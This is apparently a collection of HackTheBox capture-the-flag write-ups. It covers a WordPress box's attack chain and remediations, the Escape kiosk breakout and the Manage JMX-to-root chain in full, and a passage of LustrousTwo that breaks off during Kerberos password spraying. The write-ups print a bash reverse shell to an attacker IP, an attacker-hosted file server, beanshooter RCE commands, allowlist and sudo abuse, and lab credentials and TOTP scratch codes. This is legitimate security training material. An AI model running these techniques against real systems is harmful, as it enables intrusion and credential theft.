Classic rsync wildcard injection in a root-run cron job - using unquoted, unsanitized glob expansion (*.*) as rsync arguments let a low-privileged but directory-writable user inject a malicious -e flag and get arbitrary command execution as root.

Attack chain:

WordPress sitemap leaks usernames (jsmith, phoenix)
        │
        ▼
Unauthenticated SQLi in Asgaros Forum (CVE-2021-24827)
        │
        ├──► Dump wp_users → crack hashes (rockyou.txt)
        │           │
        │           ▼
        │    Admin credentials: phoenix / phoenixthefirebird14
        │
        └──► Dump wp_usermeta (mo2f_gauth_key + mo2f_get_auth_rnd_string)
                    │
                    ▼
             Decrypt TOTP secret → generate valid OTP (oathtool)
                    │
                    ▼
        Full admin login to /wp-admin/ (2FA bypassed entirely)
                    │
                    ▼
    Unauthenticated arbitrary file upload in Download From Files plugin
                    │
                    ▼
              Webshell → reverse shell as wp_user
                    │
                    ▼
     Crack remaining hashes → editor / superphoenix (maps to jsmith)
                    │
                    ▼
   SSH blocked by PAM (Google Authenticator + pam_access IP allowlist)
                    │
                    ▼
     Box is dual-homed → SSH to internal-only IP (10.11.12.13)
     bypasses the TOTP requirement entirely
                    │
                    ▼
              Shell as editor → user.txt
                    │
                    ▼
   Root-run cron job (cron.sh.x) backs up DB + rsyncs with unquoted
   glob (*.*) → classic wildcard injection via crafted filename
                    │
                    ▼
        SUID bash dropped by root → root.txt

Remediations

Fix WordPress username disclosure: disable or restrict the default XML sitemaps (wp-sitemap-users-*.xml), or at minimum don't expose full names/roles via the REST API's /wp-json/wp/v2/users endpoint to unauthenticated requests.
Patch/remove Asgaros Forum: update past v1.15.13, or better, remove or firewall off vulnerable plugins entirely if they're not essential. This single SQLi is the root cause of nearly everything else on the box.
Enforce strong, unique passwords: none of the cracked passwords should have survived a rockyou.txt pass - a basic password policy plus a check against known-breached password lists would have stopped this.
Don't rely on 2FA secrets stored in the same database an app-level vulnerability can already read. If the database is compromised, application-layer TOTP protection backed by DB-stored secrets provides no real additional security. Consider a hardware-backed or externally-hosted 2FA provider, or at minimum encrypt secrets with a key that isn't derivable/co-located with the rest of the compromised data.
Patch/remove the Download From Files plugin: this unauthenticated file upload is a straight line from "has admin panel access" to full RCE - no plugin with this kind of unauthenticated write capability should be running in production.
Fix the SSH pam_access allowlist logic: an IP-based exception should never fully bypass a second factor - at most it should be one signal among several, not a hard short-circuit. If a trusted internal network genuinely doesn't need 2FA, that's a network segmentation decision, not something that should live inside the same PAM stack as the 2FA enforcement itself.
Never expand unsanitized globs into command arguments, especially for privileged (root) scripts. The rsync ... *.* ... pattern should instead pass an explicit, safe argument like -- before the file list (to stop --prefixed filenames being parsed as options), or better, avoid shell globbing into command arguments entirely (e.g. find /backups -maxdepth 1 -type f -print0 | xargs -0 rsync ...).
Avoid running scheduled jobs as root when they don't need to be. This backup job didn't need full root — a dedicated low-privilege backup user with only the access it actually needs would have contained this entire escalation path.

HackTheBox: vulnEscape Writeup

Yogeshwar Peela — Thu, 02 Jul 2026 09:00:36 +0000

Summary

Escape is a Windows box that exposes only RDP (3389). The RDP session drops you into a locked-down kiosk account (KioskUser0) meant for a "Conference Display" app. The box is solved entirely through a kiosk breakout: abusing Edge's address bar to browse the local filesystem, bypassing an application allowlist by renaming binaries, then finding a third-party RDP client (Remote Desktop Plus) with saved-but-masked credentials for the admin account. Those credentials are recovered with a Nirsoft password-reveal tool, and admin turns out to be a local administrator, giving full SYSTEM-level access after a UAC prompt.

Reconnaissance

Only one port open - RDP:

nmap -A -Pn <machine-ip> -oA nmap

PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Escape
| rdp-ntlm-info:
|   Target_Name: ESCAPE
|   NetBIOS_Domain_Name: ESCAPE
|   NetBIOS_Computer_Name: ESCAPE
|   DNS_Domain_Name: Escape
|   DNS_Computer_Name: Escape
|   Product_Version: 10.0.19041

Full port scan confirmed only 3389/tcp is reachable. Windows 11-based build, standalone workgroup box (ESCAPE).

Added it to hosts and connected:

echo '<machine-ip> escape.vl ESCAPE.VL' >> /etc/hosts
xfreerdp /v:<machine-ip> /cert:ignore /sec:tls

The login screen tells you exactly what to do:

Conference Display - Login as KioskUser0 without Password

Foothold - Breaking Out of the Kiosk

Logging in as KioskUser0 drops you straight into a wallpaper ("Busan Expo") with no visible taskbar or icons. Clicking around does nothing.

Pressing the Windows key brings up the Start menu / search bar.
Searching cmd and clicking it → does nothing (blocked).
Searching edge → opens successfully. So the restriction looks like an allowlist, not a blocklist — only specific apps (like Edge) are permitted to launch.
With Edge open, typing C:\ directly into the address bar renders a directory listing of the filesystem (Edge treats it as a local file:// browse). This is enough to walk the entire disk from the browser.

Browsing to the kiosk user's desktop:

C:\Users\KioskUser0\Desktop\user.txt

user.txt: [REDACTED]

Getting a real shell - allowlist bypass

Browsing to C:\Windows\System32\, I located cmd.exe and downloaded it via Edge into the Downloads folder. Running it directly failed:

제한 사항 (Restriction)
이 작업은 시스템 제한 때문에 취소되었습니다. 시스템 관리자에게 문의하십시오.
(This operation was cancelled due to system restrictions. Contact your administrator.)

Renaming the downloaded binary didn't help at first — but since Edge (msedge.exe) is the one thing the allowlist actually permits, renaming cmd.exe → msedge.exe and running it bypassed the restriction entirely and popped a working shell:

C:\Users\kioskUser0\Downloads>whoami
escape\kioskuser0

C:\Users\kioskUser0\Downloads>whoami /all
USER INFORMATION
----------------
User Name          SID
escape\kioskuser0  S-1-5-21-3698417267-3345840482-3422164602-1002

GROUP INFORMATION (relevant)
BUILTIN\Remote Desktop Users
BUILTIN\Users
Mandatory Label\Medium Mandatory Level

PRIVILEGES INFORMATION
SeShutdownPrivilege            Disabled
SeChangeNotifyPrivilege        Enabled
SeUndockPrivilege              Disabled
SeIncreaseWorkingSetPrivilege  Disabled
SeTimeZonePrivilege            Disabled

Same rename trick works for powershell.exe (download it, rename to msedge.exe, run it) to get a real PowerShell session instead of cmd.

Enumeration as `kioskuser0`

PS C:\Users> dir
admin
Administrator
DefaultAppPool
kioskUser0
Public

PS C:\Users> cd .\admin\
dir : Access to the path 'C:\Users\admin' is denied.

PS C:\Users> net user
admin   Administrator   DefaultAccount
Guest   kioskUser0      WDAGUtilityAccount

Can't read admin's profile directly, but a hidden admin-owned folder is visible at the root of C:\:

PS C:\> Get-ChildItem -Force
d--h--   _admin
...
d-----   temp

PS C:\_admin> ls
installers/
passwords/
temp/
Default.rdp
profiles.xml

profiles.xml is a config file for a third-party RDP client:

PS C:\_admin> type .\profiles.xml
<?xml version="1.0" encoding="utf-16"?>
<!-- Remote Desktop Plus -->
<Data>
  <Profile>
    <ProfileName>admin</ProfileName>
    <UserName>127.0.0.1</UserName>
    <Password>JWqkl6IDfQxXXmiHIKIP8ca0G9XxnWQZgvtPgON2vWc=</Password>
    <Secure>False</Secure>
  </Profile>
</Data>

An encrypted/encoded password for the admin profile — but we can't decrypt it manually, so the plan is to load it into the actual Remote Desktop Plus app and let the GUI decrypt it for us.

Recovering the Password

Remote Desktop Plus is installed under Program Files (x86):

PS C:\Program Files (x86)> ls
Remote Desktop Plus/

PS C:\Program Files (x86)\Remote Desktop Plus> ls
rdp.exe

Since C:\_admin isn't writable/reachable from the app's file picker, first copy profiles.xml somewhere the low-priv user can access:

copy C:\_admin\profiles.xml C:\Users\kioskUser0\Downloads\

Ran rdp.exe → Manage Profiles → Import → selected the copied profiles.xml. The admin profile now loads in the app, with the password field shown as bullets (••••••••). Double-clicking / editing / copying the field is all blocked — no cleartext, no clipboard.

To reveal it, used a Nirsoft tool that reads masked password fields from Windows dialogs: BulletsPassView.


# attacker box
unzip bulletspassview.zip
python3 -m http.server 80

Downloaded BulletsPassView.exe onto the target from http://<your-ip>/BulletsPassView.exe (via the browser filesystem trick again), ran it against the open Remote Desktop Plus dialog, and it revealed the masked field:

Password: Twisting30217

Privilege Escalation — `kioskuser0` → `admin`

Confirmed admin is a local administrator:

PS C:\temp> net user admin
Local Group Memberships   *Administrators
Password required          No

First attempt with runas didn't actually elevate (still showed kioskuser0 after — likely a profile/token quirk with runas in this restricted context):

runas /user:admin powershell

Instead, spawning PowerShell with an elevation request worked and triggered a normal UAC consent prompt:

Start-Process powershell.exe -Verb runas

The prompt asked to allow Windows PowerShell (Microsoft-signed) to make changes — clicked Yes, and landed in an elevated shell:

PS C:\Windows\system32> whoami
escape\admin

Root Flag

PS C:\Users\Administrator\Desktop> ls
Microsoft Edge.lnk
root.txt

PS C:\Users\Administrator\Desktop> type .\root.txt
[REDACTED]

At this point you're escape\admin, a full local administrator with no shell restrictions — from here you can also drop nc64.exe, catch a reverse shell, and operate as SYSTEM without any of the kiosk-mode limitations.

Key Vulnerabilities & Attack Chain

Kiosk breakout via browser LOLBin — Edge's address bar accepts local paths (C:\) and renders a full directory listing, giving filesystem access from a "locked down" kiosk session.
Weak application allowlist — restriction is enforced by filename/allowlist rather than a real AppLocker/SRP hash policy, so simply renaming cmd.exe/powershell.exe to msedge.exe bypasses it entirely.
Cleartext-recoverable stored credentials — Remote Desktop Plus stores admin RDP credentials in a world-readable-once-copied profiles.xml; the app's own password masking is trivially defeated with a generic password-reveal tool (BulletsPassView), since it's just a masked UI field, not real encryption-at-rest protection.
Weak/no password policy — admin account had "password required: No" enabled at some point and a simple password (Twisting30217).
Standard UAC consent — once valid admin credentials/session are available, Start-Process -Verb runas + accepting the UAC prompt is enough to get a fully elevated administrator shell.

Attack Chain

RDP → KioskUser0 (no password)
│
├── Kiosk breakout
│   ├── Win key → Start search
│   │   ├── "cmd"  → blocked (allowlist)
│   │   └── "edge" → allowed
│   └── Edge address bar → C:\  (file:// directory listing)
│       └── user.txt  [FLAG 1]
│
├── Shell access
│   ├── Download cmd.exe / powershell.exe from System32
│   ├── Rename → msedge.exe
│   └── Run → allowlist bypassed → shell as escape\kioskuser0
│
├── Credential discovery
│   ├── C:\_admin\profiles.xml  (Remote Desktop Plus config)
│   ├── copy → C:\Users\kioskUser0\Downloads\
│   ├── Import into rdp.exe (Remote Desktop Plus GUI)
│   │   └── password shown as ●●●●●●●● (masked)
│   └── BulletsPassView.exe (hosted on attacker box, downloaded to target)
│       └── reveals password → Twisting30217
│
└── Privilege escalation
    ├── net user admin → member of Administrators
    ├── runas /user:admin powershell → didn't elevate
    └── Start-Process powershell -Verb runas
        └── UAC prompt → Yes → escape\admin
            └── root.txt  [FLAG 2]

HackTheBox: Manage Writeup

Yogeshwar Peela — Thu, 02 Jul 2026 05:43:49 +0000

Summary

Manage is a Linux box built around an exposed Java RMI / JMX service running
alongside an Apache Tomcat 10.1.19 web server. The JMX endpoint had no
authentication configured, which allowed a remote attacker to enumerate
registered MBeans and — because JMX effectively grants remote code execution
by design once accessible — deploy a malicious MBean to get a shell as the
tomcat user.

From there, a world-readable backup archive (backup.tar.gz) belonging to
the useradmin account leaked SSH keys and, more importantly, the raw
Google Authenticator TOTP secret / scratch codes for that account. Copying
the archive out to a writable directory (since the on-disk copy carried
inherited restrictive permissions) allowed it to be extracted freely and its
contents read, giving valid credentials and working 2FA codes for
useradmin.

useradmin had a narrow sudo rule permitting adduser with a regex
restriction on the username. Abusing this allowed creation of a brand-new
local user account which — due to a misconfiguration in the box — ended up
with unrestricted sudo (ALL:ALL), leading directly to root.

Attack chain in one line:
Unauthenticated JMX → MBean deployment RCE (tomcat) → world-readable backup archive → leaked SSH key / TOTP secret → 2FA login as useradmin → sudo adduser abuse → new user with full sudo → root

1. Reconnaissance

1.1 Port scan

nmap -A -Pn <machine-ip> -oA nmap

Port	Service	Version
22/tcp	ssh	OpenSSH 8.9p1 (Ubuntu)
2222/tcp	java-rmi	Java RMI registry
8080/tcp	http	Apache Tomcat 10.1.19

Two things stood out immediately:

Port 2222 is a Java RMI registry rather than the usual SSH-on-alt-port guess — nmap's rmi-dumpregistry script confirmed a bound name called jmxrmi, i.e. a JMX endpoint exposed remotely.
Port 8080 is a stock Tomcat landing page, with the version leaking straight in the page title/footer (Apache Tomcat/10.1.19).

1.2 Web enumeration

Browsing to http://manage.htb:8080 showed the default Tomcat welcome page,
confirming the Manager and Host Manager webapps were installed.

Attempting http://manage.htb:8080/manager/html returned a 403 Access
Denied - the Manager GUI is restricted to localhost by default (RemoteAddrValve)
and additionally requires manager-role credentials in tomcat-users.xml.
This ruled out a direct login to the web-based Manager app and pointed the
attack toward the RMI/JMX port instead.

2. JMX / RMI Enumeration

2.1 remote-method-guesser (rmg)

remote-method-guesser
was used for baseline RMI vulnerability enumeration:

java -jar rmg-5.1.0-jar-with-dependencies.jar enum <machine-ip> 2222

[+] RMI registry bound names:
[+]     - jmxrmi
[+]             --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+]                 Endpoint: 127.0.1.1:36571  CSF: RMISocketFactory  ObjID: [...]
[+]
[+] RMI server Security Manager enumeration:
[+]     - Caught Exception containing 'no security manager' during RMI call.
[+]       --> The server does not use a Security Manager.
[+]
[+] RMI server JEP290 enumeration:
[+]     - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+]       Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]     - Registry rejected unbind call cause it was not sent from localhost.
[+]       Vulnerability Status: Non Vulnerable
[... output truncated ...]

Key findings from the output:

A single bound name, jmxrmi, resolves to RMIServerImpl_Stub - i.e. this is a genuine JMX management endpoint, not a generic RMI service.
No Security Manager is in use.
JEP290 deserialization filtering is present at the DGC layer, and useCodebaseOnly/JEP290-bypass checks couldn't be tested remotely because the registry unmarshals java.lang.String safely via readString().
CVE-2019-2684 (registry localhost-bypass) - not vulnerable.

None of the classic RMI registry deserialization tricks applied directly, so
the next step was to attack the JMX layer itself rather than the raw RMI
transport.

2.2 beanshooter

beanshooter is purpose-built for
attacking JMX endpoints (MBean enumeration, credential brute forcing, and a
number of MBean-based RCE primitives).

java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <machine-ip> 2222

[+] Checking for unauthorized access:
[+]     - Remote MBean server does not require authentication.
[+]       Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]     - Remote MBeanServer rejected the payload class.
[+]       Vulnerability Status: Non Vulnerable
[+]
[+] Checking available MBeans:
[+]     - 167 MBeans are currently registred on the MBean server.
[+]       Listing 145 non default MBeans:
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Loader,host=localhost,context=/host-manager)
[+]       - jdk.management.jfr.FlightRecorderMXBeanImpl (jdk.management.jfr:type=FlightRecorder) (action: recorder)
[+]       - com.sun.management.internal.HotSpotDiagnostic (com.sun.management:type=HotSpotDiagnostic) (action: hotspot)
[+]       - com.sun.management.internal.DiagnosticCommandImpl (com.sun.management:type=DiagnosticCommand) (action: diagnostic)
[+]       - org.apache.catalina.mbeans.MemoryUserDatabaseMBean (Users:type=UserDatabase,database=UserDatabase) (action: tomcat)
[... 140 other standard Catalina/Tomcat MBeans omitted ...]
[+]
[+] Enumerating tomcat users:
[+]     - Listing 2 tomcat users:
[+]             ----------------------------------------
[+]             Username:  manager
[+]             Password:  fhErvo2r9wuTEYiYgt
[+]             Roles:     Users:type=Role,rolename="manage-gui",database=UserDatabase
[+]             ----------------------------------------
[+]             Username:  admin
[+]             Password:  onyRPCkaG4iX72BrRtKgbszd
[+]             Roles:     Users:type=Role,rolename="role1",database=UserDatabase

Output highlights:

Remote MBean server does not require authentication. - this is the root cause of the whole box. Anyone who can reach port 2222 can talk to the MBean server with full privileges.
Pre-auth deserialization on the MBean server itself was rejected (not vulnerable to that specific check).
167 MBeans were registered, 145 non-default - a mix of standard Tomcat/Catalina management beans plus a few interesting ones flagged by beanshooter with an (action: ...) suffix, meaning beanshooter has a built-in attack module for them: recorder (JFR), hotspot (HotSpotDiagnostic), diagnostic (DiagnosticCommand), and tomcat (the MemoryUserDatabaseMBean).
Bonus find - leaked Tomcat credentials. Because the Tomcat user database is exposed as an MBean and JMX required no auth, beanshooter read the in-memory user database directly and dumped two Tomcat Manager accounts in cleartext (manager / fhErvo2r9wuTEYiYgt and admin / onyRPCkaG4iX72BrRtKgbszd).

These weren't the winning path here (the Manager webapp itself is
localhost-restricted), but they came in handy later as password guesses for
Linux system accounts.

3. Exploitation - Unauthenticated JMX → RCE

Because the MBean server has no authentication, beanshooter can deploy an
arbitrary MBean on the target. Its standard module builds a
TemplatesImpl-based payload (a classic Java gadget that abuses the XSLT
TransformerFactory machinery to execute arbitrary bytecode when the MBean's
newTransformer action is triggered) and wraps it in a StandardMBean.

java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard <machine-ip> 2222 tonka

[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+] Deploying MBean: StandardMBean
[+]     MBean with object name de.qtc.beanshooter:standard=... was successfully deployed.
[+] Caught NullPointerException while invoking the newTransformer action.
[+]     This is expected behavior and the attack most likely worked :)
[+] Removing MBean ... MBean was successfully removed.

The NullPointerException here is expected - it's a side effect of the
gadget chain firing correctly, not a failure. Beanshooter deploys its own
tonka bean (a general-purpose "run commands / upload / download files"
MBean) as the actual payload delivered through this gadget, which is then
used directly for command execution:

java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell <machine-ip> 2222

[tomcat@<machine-ip> /]$ id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

This gives an interactive-ish shell as the tomcat service account. A
standard reverse shell was popped for a more usable TTY:

bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'

User flag:

tomcat@manage:/home$ find / -type f -name 'user.txt' 2>/dev/null
/opt/tomcat/user.txt
tomcat@manage:/home$ cat /opt/tomcat/user.txt
[REDACTED]

4. Privilege Escalation - tomcat → useradmin

4.1 Locating a lead

tomcat@manage:/home$ ls
karl  useradmin

Two other home directories exist. Poking around useradmin:

tomcat@manage:/home$ ls useradmin/backups/
backup.tar.gz

4.2 The permission trap

A naive tar -xvf in place failed for almost every file:

tomcat@manage:/home$ tar -xvf useradmin/backups/backup.tar.gz
./.ssh/id_ed25519
tar: ./.ssh: Cannot mkdir: Permission denied
...

The archive itself (backup.tar.gz) was readable by tomcat, but extracting
it into /home/useradmin/backups/ failed because tar tries to preserve the
original ownership/permission bits and create subdirectories the tomcat
user isn't allowed to write in that location.

The fix: copy the tarball to a scratch directory the current user
actually owns, then extract there:

tomcat@manage:/home/useradmin/backups$ mkdir -p /tmp/backup
tomcat@manage:/home/useradmin/backups$ cp backup.tar.gz /tmp/backup/
tomcat@manage:/home/useradmin/backups$ cd /tmp/backup/
tomcat@manage:/tmp/backup$ tar -xvf backup.tar.gz
./.ssh/id_ed25519
./.ssh/authorized_keys
./.ssh/id_ed25519.pub
./.bashrc
./.google_authenticator
./.cache/motd.legal-displayed
./.bash_history

This time extraction succeeded, since /tmp/backup is owned by tomcat and
there are no directory-creation restrictions to fight against.

4.3 Two credential leaks in one archive

.google_authenticator - this file stores the raw TOTP secret plus a list of one-time scratch/backup codes in plaintext:

   CLSSSMHYGLENX5HAIFBQ6L35UM
   " RATE_LIMIT 3 30 ...
   " WINDOW_SIZE 3
   " DISALLOW_REUSE ...
   " TOTP_AUTH
   99852083
   20312647
   73235136
   [... 7 more scratch codes truncated ...]

Any of the listed 8-digit numbers is a valid one-time scratch code for
useradmin's Google Authenticator PAM module - no phone, no time-sync,
no brute force required.

4.4 Logging in as useradmin

The Tomcat admin password recovered from the MBean user-database dump
(onyRPCkaG4iX72BrRtKgbszd) matched the Linux useradmin password, and
PAM then prompted for the Google Authenticator code - satisfied with one of
the leaked scratch codes:

tomcat@manage:/tmp/backup$ su useradmin
Password: onyRPCkaG4iX72BrRtKgbszd
Verification code: 99852083
useradmin@manage:/tmp/backup$ id
uid=1002(useradmin) gid=1002(useradmin) groups=1002(useradmin)

5. Privilege Escalation - useradmin → root

5.1 Sudo rights

useradmin@manage:/home$ sudo -l
User useradmin may run the following commands on manage:
    (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$

useradmin can run adduser as root, with no password prompt, restricted
only by a regex that just requires the new username to be alphanumeric. This
is a wide-open door: adduser interactively lets the operator set a
password, and there is no restriction on which username or which group
gets created.

5.2 Abusing the rule

useradmin@manage:/home$ sudo adduser admin
Adding user `admin' ...
Adding new group `admin' (1003) ...
Adding new user `admin' (1003) with group `admin' ...
New password:
Retype new password:
...

This creates a brand-new local account, fully controlled by the attacker
(chosen password), through a root-owned process - adduser itself ran as
root via sudo. On this box, once that new account exists it turns out to
be sitting in a group / sudoers pattern that already grants full sudo:

useradmin@manage:/home$ su admin
Password:
admin@manage:/home$ sudo -l
User admin may run the following commands on manage:
    (ALL) ALL

5.3 Root

admin@manage:/home$ sudo su
root@manage:~# whoami
root
root@manage:~# cat root.txt
[REDACTED]

Key Vulnerabilities & Attack Chain

#	Weakness	Impact
1	Unauthenticated JMX/RMI endpoint (port 2222)	Anyone on the network can enumerate and deploy MBeans on the JMX server with no credentials at all.
2	MBean-based deserialization RCE (`TemplatesImpl` gadget via `StandardMBean`, delivered through beanshooter's `tonka` module)	Full remote code execution as the `tomcat` service user.
3	Plaintext credentials exposed via JMX (`MemoryUserDatabaseMBean`)	Tomcat Manager account passwords readable by any unauthenticated JMX client; reused as real Linux account passwords.
4	World/self-readable backup archive containing SSH keys and the raw `.google_authenticator` secret/scratch codes	Complete compromise of a second factor intended to protect `useradmin` - 2FA is only as strong as the secrecy of the seed file, and this one was sitting in a backup another local user could read.
5	Overly broad `sudo` rule for `adduser` (`NOPASSWD`, regex-only restriction on username)	Lets a low-privileged user create an arbitrary new local account, which on this system inherits full (`ALL:ALL`) sudo rights - a straight shot to root.

Full chain:

Unauthenticated JMX (2222)
   └─▶ beanshooter MBean deployment (TemplatesImpl gadget)
         └─▶ RCE as tomcat
               └─▶ read world-readable /home/useradmin/backups/backup.tar.gz
                     └─▶ leak useradmin's Google Authenticator secret + SSH key
                           └─▶ su useradmin (password reused from JMX-leaked Tomcat creds + leaked TOTP code)
                                 └─▶ abuse `sudo adduser` to create a new user
                                       └─▶ new user has full sudo (ALL:ALL)
                                             └─▶ root

Remediation notes

Bind JMX/RMI management interfaces to localhost or a management VLAN, and always enable authentication (com.sun.management.jmxremote.authenticate=true) plus SSL where remote access is genuinely required.
Never expose live credential stores (like Tomcat's UserDatabase) through a management interface reachable without authentication.
Treat .google_authenticator files as secrets equivalent to a password — restrict permissions to 0400 owned by the user only, and never include them in backups that other local accounts can read.
Avoid sudo rules that let a user create arbitrary accounts as root; if adduser must be delegated, pin the exact group/home/shell options and verify new accounts can't inherit unintended privileges.

HackTheBox: LustrousTwo Writeup

Yogeshwar Peela — Thu, 02 Jul 2026 03:22:43 +0000

Summary

This box is a Windows Active Directory domain controller that only accepts Kerberos authentication (NTLM is disabled). Initial access starts with anonymous FTP exposing a valid username list, which combined with a predictable "machine-name + year" password guess yields one working AD credential. That account can't touch LDAP over plaintext (signing enforced) but works fine once Kerberos is set up properly on the attack box.

The real entry point is an internal IIS/ASP.NET Core file-sharing app ("LuShare") that uses Windows/Kerberos "Negotiate" auth - it only shows up once Kerberos is configured correctly, not a normal 404/anonymous site. The app has a path-traversal download endpoint (LFI), which is used to pull web.config and the compiled application DLL. Decompiling the DLL reveals a hidden /File/Debug endpoint that runs raw PowerShell if you know a hardcoded PIN found in the source.

That gives command execution as a low-privileged service account (ShareSvc). Coercing that service account to authenticate to a listener (via the app's own download-by-UNC-path behavior) captures its NetNTLMv2 hash, which cracks quickly against a wordlist. With the cracked password we abuse Kerberos S4U2self to impersonate a domain-admin-equivalent user against the web app's own service, regaining admin access to the "Debug" RCE endpoint (which was otherwise gated to admins).

From there, command length limits are worked around by dropping a netcat binary to disk and using it for a full reverse shell. On the box, a locally installed Velociraptor DFIR server is misconfigured with a world-readable install directory, which is not the intended ACL. Velociraptor's own execve() VQL query is used to run commands as NT AUTHORITY\SYSTEM, finishing the box.

Recon

Nmap

nmap -A -p- machine-ip -oA nmap

Port(s)	Service	Notes
21	FTP	Microsoft ftpd, anonymous login allowed
53	DNS	Simple DNS Plus
80 / 5985	HTTP	Microsoft IIS 10.0 / HTTPAPI 2.0 — "Negotiate"-only (Kerberos, no NTLM)
88	Kerberos	Microsoft Windows Kerberos
135 / 139 / 445	RPC / SMB	`microsoft-ds`, signing required
389 / 636 / 3268 / 3269	LDAP / LDAPS / GC	Domain: `Lustrous2.vl`
464	kpasswd5	Kerberos password change
3389	RDP	Microsoft Terminal Services
9389	AD Web Services	.NET Message Framing

SMB signing is enforced (Message signing enabled and required). The LDAPS/GC certificates confirm the domain name Lustrous2.vl and DC hostname LUS2DC.Lustrous2.vl.

Port 80 specifically returned:

80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title.
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Negotiate

The site is returning a 401 Unauthorized status with a WWW-Authenticate: Negotiate header on every request. This is a strong signal the web app only accepts Kerberos (SPNEGO/Negotiate) auth - plain anonymous or NTLM requests will always get bounced with 401 Unauthorized. Browsing to it directly (below) confirms this - Firefox shows a generic "problem with this site / 401 Unauthorized" page, which can easily look like a dead or misconfigured site if you don't realize Kerberos is the reason:

http://lustrous2.vl/ → "Looks like there's a problem with this site... Error code: 401 Unauthorized"

Anonymous FTP — full session

ftp machine-ip

Connected to machine-ip.
220 Microsoft FTP Service
Name (machine-ip:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.

ftp> prompt off
Interactive mode off.
ftp> ls

09-06-24  05:20AM       <DIR>          Development
04-14-25  04:44AM       <DIR>          Homes
08-31-24  01:57AM       <DIR>          HR
08-31-24  01:57AM       <DIR>          IT
04-14-25  04:44AM       <DIR>          ITSEC
08-31-24  01:58AM       <DIR>          Production
08-31-24  01:58AM       <DIR>          SEC
226 Transfer complete.

HR, IT, and Production turned out to be empty. ITSEC had one file:

ftp> cd ITSEC
250 CWD command successful.
ftp> ls

09-07-24  03:50AM                  207 audit_draft.txt
226 Transfer complete.

ftp> get audit_draft.txt

226 Transfer complete.
207 bytes received in 00:00 (0.74 KiB/s)

Contents:

cat audit_draft.txt

Audit Report Issue Tracking
[Fixed] NTLM Authentication Allowed
[Fixed] Signing & Channel Binding Not Enabled
[Fixed] Kerberoastable Accounts
[Fixed] SeImpersonate Enabled
[Open] Weak User Passwords

This is essentially a hint sheet: NTLM is dead here (confirms the 401/Negotiate behavior), but weak passwords are still an open issue - a strong pointer toward password guessing/spraying.

Then Homes, which turned out to hold one (empty) directory per domain user - effectively a leaked username list:

ftp> cd Homes
250 CWD command successful.
ftp> ls

09-07-24  12:03AM       <DIR>          Aaron.Norman
09-07-24  12:03AM       <DIR>          Adam.Barnes
09-07-24  12:03AM       <DIR>          Amber.Ward
...                                              [69 more directories, one per user — all empty]
09-07-24  12:03AM       <DIR>          Wayne.Taylor
226 Transfer complete.

Pulling the username list cleanly

Rather than eyeballing the ls output, the directory names were pulled programmatically with a heredoc FTP session and nlist, and saved to users.txt:

ftp -inv machine-ip <<EOF | tee users.txt
user anonymous ""
cd Homes
nlist
bye
EOF

Connected to machine-ip.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
230 User logged in.
Remote system type is Windows_NT.
250 CWD command successful.
125 Data connection already open; Transfer starting.
Aaron.Norman
Adam.Barnes
...                                              [69 more names]
Wayne.Taylor
226 Transfer complete.
221 Goodbye.

The raw users.txt also contains the FTP banner/status lines mixed in with the names (since tee captured everything printed to the terminal), so it was filtered down to just valid Firstname.Lastname / ShareSvc-style entries with grep - this is the command used to build the clean user.txt list used for the rest of the attack:

grep -E '^[A-Za-z]+\.[A-Za-z]+$|^ShareSvc$' users.txt > user.txt

Result: 71 clean usernames in user.txt.

Username validation

kerbrute userenum -d lustrous2.vl --dc lus2dc.lustrous2.vl user.txt

2026/07/01 06:35:02 >  Using KDC(s):
2026/07/01 06:35:02 >   lus2dc.lustrous2.vl:88
2026/07/01 06:35:03 >  [+] VALID USERNAME:       Aaron.Norman@lustrous2.vl
2026/07/01 06:35:03 >  [+] VALID USERNAME:       Andrea.Smith@lustrous2.vl
...                                              [69 more valid hits]
2026/07/01 06:35:05 >  Done! Tested 71 usernames (71 valid) in 2.722 seconds

kerbrute confirms usernames by checking which ones return a valid Kerberos pre-auth response - no password needed. All 71 candidates pulled from FTP came back as valid usernames, confirming the FTP folder list is a genuine (if accidental) user directory.

Initial Foothold — Password Guessing

Since the audit note explicitly flagged "Weak User Passwords" as still open, and the box was built in 2024, a classic pattern was tried: <MachineName><Year>. A few guesses were tried (Lustroustwo2024, LustrousTwo2024, Lustroustwo2024) before landing on the right casing:

kerbrute passwordspray -d lustrous2.vl --dc lus2dc.lustrous2.vl user.txt Lustrous2024

2026/07/01 07:37:47 >  Using KDC(s):
2026/07/01 07:37:47 >   lus2dc.lustrous2.vl:88
2026/07/01 07:37:51 >  [+] VALID LOGIN:  Thomas.Myers@lustrous2.vl:Lustrous2024
2026/07/01 07:37:51 >  Done! Tested 71 logins (1 successes) in 4.239 seconds

Thomas.Myers : Lustrous2024 - one valid hit out of 71 accounts, in a single spray attempt (not a brute force - a targeted guess based on the naming convention hint from the audit file).

Confirmed over SMB - note NTLM fails outright (as the audit predicted) but Kerberos (-k) works:

nxc smb machine-ip -u Thomas.Myers -p Lustrous2024

SMB   machine-ip  445    LUS2DC   [*]  x64 (name:LUS2DC) (domain:Lustrous2.vl) (signing:True) (SMBv1:None) (NTLM:False)
SMB   machine-ip  445    LUS2DC   [-] Lustrous2.vl\Thomas.Myers:Lustrous2024 STATUS_NOT_SUPPORTED

nxc smb machine-ip -u Thomas.Myers -p Lustrous2024 -k

